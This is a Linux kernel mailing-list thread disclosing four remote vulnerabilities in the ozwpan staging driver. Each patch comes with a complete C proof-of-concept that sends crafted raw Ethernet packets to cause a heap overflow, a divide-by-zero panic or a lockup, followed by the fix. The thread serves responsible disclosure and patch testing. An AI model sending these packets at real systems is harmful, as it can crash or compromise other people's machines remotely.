* [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities
@ 2015-05-13 18:33 Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
` (4 more replies)
0 siblings, 5 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:33 UTC (permalink / raw)
To: shigekatsu.tateno, linux-kernel, netdev, oss-security; +Cc: Jason A. Donenfeld
The ozwpan driver accepts network packets, parses them, and converts
them into various USB functionality. There are numerous security
vulnerabilities in the handling of these packets. Two of them result in
a memcpy(kernel_buffer, network_packet, -length), one of them is a
divide-by-zero, and one of them is a loop that decrements -1 until it's
zero.
I've written a very simple proof-of-concept for each one of these
vulnerabilities to aid with detecting and fixing them. The general
operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]
These PoCs should also be useful to the maintainers for testing out
constructing and sending various other types of malformed packets against
which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two
patches of this set can receive one CVE for both, and the remaining two
can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in
this driver that are worth looking into. When ozwpan receives a packet,
it casts the packet into a variety of different structs, based on the
value of type and length parameters inside the packet. When making these
casts, and when reading bytes based on this length parameter, the actual
length of the packet in the socket buffer is never actually consulted. As
such, it's very likely that a packet could be sent that results in the
kernel reading memory in adjacent buffers, resulting in an information
leak, or from unpaged addresses, resulting in a crash. In the former case,
it may be possible with certain message types to actually send these
leaked adjacent bytes back to the sender of the packet. So, I'd highly
recommend the maintainers of this driver go branch-by-branch from the
initial rx function, adding checks to ensure all reads and casts are
within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++--
3 files changed, 15 insertions(+), 8 deletions(-)
--
2.3.6
^ permalink raw reply [flat|nested] 42+ messages in thread
* [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
@ 2015-05-13 18:33 ` Jason A. Donenfeld
2015-05-15 15:02 ` David Laight
2015-05-13 18:33 ` [PATCH 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
` (3 subsequent siblings)
4 siblings, 1 reply; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:33 UTC (permalink / raw)
To: shigekatsu.tateno, linux-kernel, netdev, oss-security; +Cc: Jason A. Donenfeld
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index d434d8c..cd6c63e 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
- int data_len = elt->length -
+ u8 data_len = elt->length -
sizeof(struct oz_get_desc_rsp) + 1;
+ if (data_len > elt->length)
+ break;
u16 offs = le16_to_cpu(get_unaligned(&body->offset));
u16 total_size =
le16_to_cpu(get_unaligned(&body->total_size));
--
2.3.6
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH 2/4] ozwpan: Use unsigned ints to prevent heap overflow
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
@ 2015-05-13 18:33 ` Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
` (2 subsequent siblings)
4 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:33 UTC (permalink / raw)
To: shigekatsu.tateno, linux-kernel, netdev, oss-security; +Cc: Jason A. Donenfeld
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index 5ff4716..784b5ec 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
/*
* Context: softirq
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
- int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+ u8 length, u16 offset, u16 total_size)
{
struct oz_port *port = hport;
struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
if (!urb)
return;
if (status == 0) {
- int copy_len;
- int required_size = urb->transfer_buffer_length;
+ unsigned int copy_len;
+ unsigned int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 4249fa3..d2a6085 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
/* Confirmation functions.
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
- const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+ const u8 *desc, u8 length, u16 offset, u16 total_size);
void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
const u8 *data, int data_len);
--
2.3.6
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH 3/4] ozwpan: divide-by-zero leading to panic
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
@ 2015-05-13 18:33 ` Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
2015-05-13 18:43 ` [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Greg KH
4 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:33 UTC (permalink / raw)
To: shigekatsu.tateno, linux-kernel, netdev, oss-security; +Cc: Jason A. Donenfeld
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index cd6c63e..2e67956 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n = (len - sizeof(struct oz_multiple_fixed)+1)
+ int n;
+ if (!body->unit_size)
+ break;
+ n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
2.3.6
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
` (2 preceding siblings ...)
2015-05-13 18:33 ` [PATCH 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
@ 2015-05-13 18:33 ` Jason A. Donenfeld
2015-05-13 18:43 ` [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Greg KH
4 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:33 UTC (permalink / raw)
To: shigekatsu.tateno, linux-kernel, netdev, oss-security; +Cc: Jason A. Donenfeld
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 2e67956..934a571 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n;
+ unsigned int n;
if (!body->unit_size)
break;
n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
+ if (n > len / body->unit_size)
+ break;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
--
2.3.6
^ permalink raw reply related [flat|nested] 42+ messages in thread
* Re: [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
` (3 preceding siblings ...)
2015-05-13 18:33 ` [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
@ 2015-05-13 18:43 ` Greg KH
2015-05-13 18:48 ` Jason A. Donenfeld
4 siblings, 1 reply; 42+ messages in thread
From: Greg KH @ 2015-05-13 18:43 UTC (permalink / raw)
To: oss-security; +Cc: shigekatsu.tateno, linux-kernel, netdev, Jason A. Donenfeld
On Wed, May 13, 2015 at 08:33:30PM +0200, Jason A. Donenfeld wrote:
> The ozwpan driver accepts network packets, parses them, and converts
> them into various USB functionality. There are numerous security
> vulnerabilities in the handling of these packets. Two of them result in
> a memcpy(kernel_buffer, network_packet, -length), one of them is a
> divide-by-zero, and one of them is a loop that decrements -1 until it's
> zero.
>
> I've written a very simple proof-of-concept for each one of these
> vulnerabilities to aid with detecting and fixing them. The general
> operation of each proof-of-concept code is:
>
> - Load the module with:
> # insmod ozwpan.ko g_net_dev=eth0
> - Compile the PoC with ozprotocol.h from the kernel tree:
> $ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
> $ gcc ./poc.c -o ./poc
> - Run the PoC:
> # ./poc eth0 [mac-address]
>
> These PoCs should also be useful to the maintainers for testing out
> constructing and sending various other types of malformed packets against
> which this driver should be hardened.
>
> Please assign CVEs for these vulnerabilities. I believe the first two
> patches of this set can receive one CVE for both, and the remaining two
> can receive one CVE each.
>
>
> On a slightly related note, there are several other vulnerabilities in
> this driver that are worth looking into. When ozwpan receives a packet,
> it casts the packet into a variety of different structs, based on the
> value of type and length parameters inside the packet. When making these
> casts, and when reading bytes based on this length parameter, the actual
> length of the packet in the socket buffer is never actually consulted. As
> such, it's very likely that a packet could be sent that results in the
> kernel reading memory in adjacent buffers, resulting in an information
> leak, or from unpaged addresses, resulting in a crash. In the former case,
> it may be possible with certain message types to actually send these
> leaked adjacent bytes back to the sender of the packet. So, I'd highly
> recommend the maintainers of this driver go branch-by-branch from the
> initial rx function, adding checks to ensure all reads and casts are
> within the bounds of the socket buffer.
>
> Jason A. Donenfeld (4):
> ozwpan: Use proper check to prevent heap overflow
> ozwpan: Use unsigned ints to prevent heap overflow
> ozwpan: divide-by-zero leading to panic
> ozwpan: unchecked signed subtraction leads to DoS
>
> drivers/staging/ozwpan/ozhcd.c | 8 ++++----
